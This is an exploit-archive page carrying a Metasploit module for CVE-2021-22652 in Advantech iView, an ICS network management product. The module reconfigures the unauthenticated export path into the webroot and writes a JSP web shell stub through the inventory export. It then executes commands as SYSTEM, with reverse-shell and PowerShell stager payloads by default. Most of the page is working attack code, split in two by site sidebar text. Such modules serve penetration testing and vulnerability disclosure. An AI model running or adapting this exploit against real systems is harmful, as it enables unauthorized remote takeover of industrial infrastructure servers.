Advantech iView Unauthenticated Remote Code Execution

Authored by Spencer McIntyre, wvu | Site metasploit.com

Posted Mar 23, 2021

This Metasploit module exploits an unauthenticated configuration change combined with an unauthenticated file write primitive, leading to an arbitrary file write that allows for remote code execution as the user running iView, which is typically NT AUTHORITY\SYSTEM. This issue was demonstrated in the vulnerable version 5.7.02.5992 and fixed in version 5.7.03.6112.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2021-22652
SHA-256 | 871b6bdcb75f943757231fe70d369aecb3bf02147c4c50b85ea3a12f3efaabe4

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Advantech iView Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated configuration change combined
          with an unauthenticated file write primitive, leading to an arbitrary
          file write that allows for remote code execution as the user running
          iView, which is typically NT AUTHORITY\SYSTEM.

          This issue was demonstrated in the vulnerable version 5.7.02.5992 and
          fixed in version 5.7.03.6112.
        },
        'Author' => [
          'wvu', # Discovery and exploit
          'Spencer McIntyre' # Check, docs, and testing
        ],
        'References' => [
          ['CVE', '2021-22652'],
          ['URL', 'https://blog.rapid7.com/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-
rce-fixed/'],
          ['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02']
        ],
        'DisclosureDate' => '2021-02-09', # ICS-CERT advisory
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Application path', '/iView3'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'MenuServlet'),
      'vars_post' => {
        'page_action_type' => 'getMenuFragment',
        'page' => 'version.frag'
      }
    )
    return CheckCode::Unknown unless res&.code == 200

    version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')
    return CheckCode::Unknown unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/

    version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"
    vprint_status("Identified the version as #{version}")
    return CheckCode::Safe if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')

    CheckCode::Appears
  end

  def exploit
    config = retrieve_config
    updated = update_config(config)
    write_jsp_stub

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 180 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 10 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,733)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,924)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,601)
Encryption (2,349)
Exploit (50,358)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (820)
Kernel (6,290)
Local (14,201)
Magazine (586)
Overflow (12,418)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,043)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,776)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,294)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,448)
Slackware (941)
Solaris (1,607)

```
    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  ensure
    restore_config(config) if config && updated
  end

  def retrieve_config
    print_status('Retrieving config')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
      'vars_post' => {
        'page_action_type' => 'retrieveSystemSettings'
      }
    )

    unless res && res.code == 200 && (config = res.get_json_document.first)
      fail_with(Failure::NotFound, 'Failed to retrieve config')
    end

    print_good('Successfully retrieved config')
    vprint_line(JSON.pretty_generate(config))

    config
  end

  def update_config(config)
    print_status('Updating config')

    config = config.dup
    config['EXPORTPATH'] = 'webapps\\iView3\\'

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
      'vars_post' => {
        'page_action_type' => 'updateSystemSettings',
        'json_obj' => config.to_json
      }
    )

    unless res && res.code == 200 && (config = res.get_json_document.first)
      fail_with(Failure::NotFound, 'Failed to retrieve updated config')
    end

    unless config['EXPORTPATH'] == 'webapps\\iView3\\'
      fail_with(Failure::NotVulnerable, 'Failed to update config')
    end

    print_good('Successfully updated config')
    vprint_line(JSON.pretty_generate(config))

    true
  end

  def write_jsp_stub
    print_status('Writing JSP stub')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
      'vars_post' => {
        'page_action_type' => 'exportInventoryTable',
        'col_list' => "#{jsp_stub}-NULL",
        'sortname' => 'NULL',
        'sortorder' => '',
        'filename' => jsp_filename
      }
    )

    unless res && res.code == 200
      fail_with(Failure::NotVulnerable, 'Failed to write JSP stub')
    end

    register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")

    print_good('Successfully wrote JSP stub')
  end

  def execute_command(cmd, _opts = {})
    cmd.prepend('cmd.exe /c ')

    print_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, jsp_filename),
      'vars_post' => {
        jsp_param => cmd
      }
    )

    unless res && res.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to execute command')
    end

    print_good('Successfully executed command')
  end

  def restore_config(config)
    print_status('Restoring config')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
      'vars_post' => {
        'page_action_type' => 'updateSystemSettings',
        'json_obj' => config.to_json
      }
    )

    unless res && res.code == 200 && (config = res.get_json_document.first)
      fail_with(Failure::NotFound, 'Failed to retrieve restored config')
    end

    if config['EXPORTPATH'] == 'webapps\\iView3\\'
      fail_with(Failure::UnexpectedReply, 'Failed to restore config')
    end

    print_good('Successfully restored config')
    vprint_line(JSON.pretty_generate(config))
  end

  def jsp_stub
    %(<% Runtime.getRuntime().exec(request.getParameter("#{jsp_param}")); %>)
  end

  def jsp_param
    @jsp_param ||= rand_text_alphanumeric(8..42)
  end

  def jsp_filename
    @jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
  end

end
```

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,101)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,132)
Web (9,357)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,158)
UnixWare (185)
Windows (6,511)
Other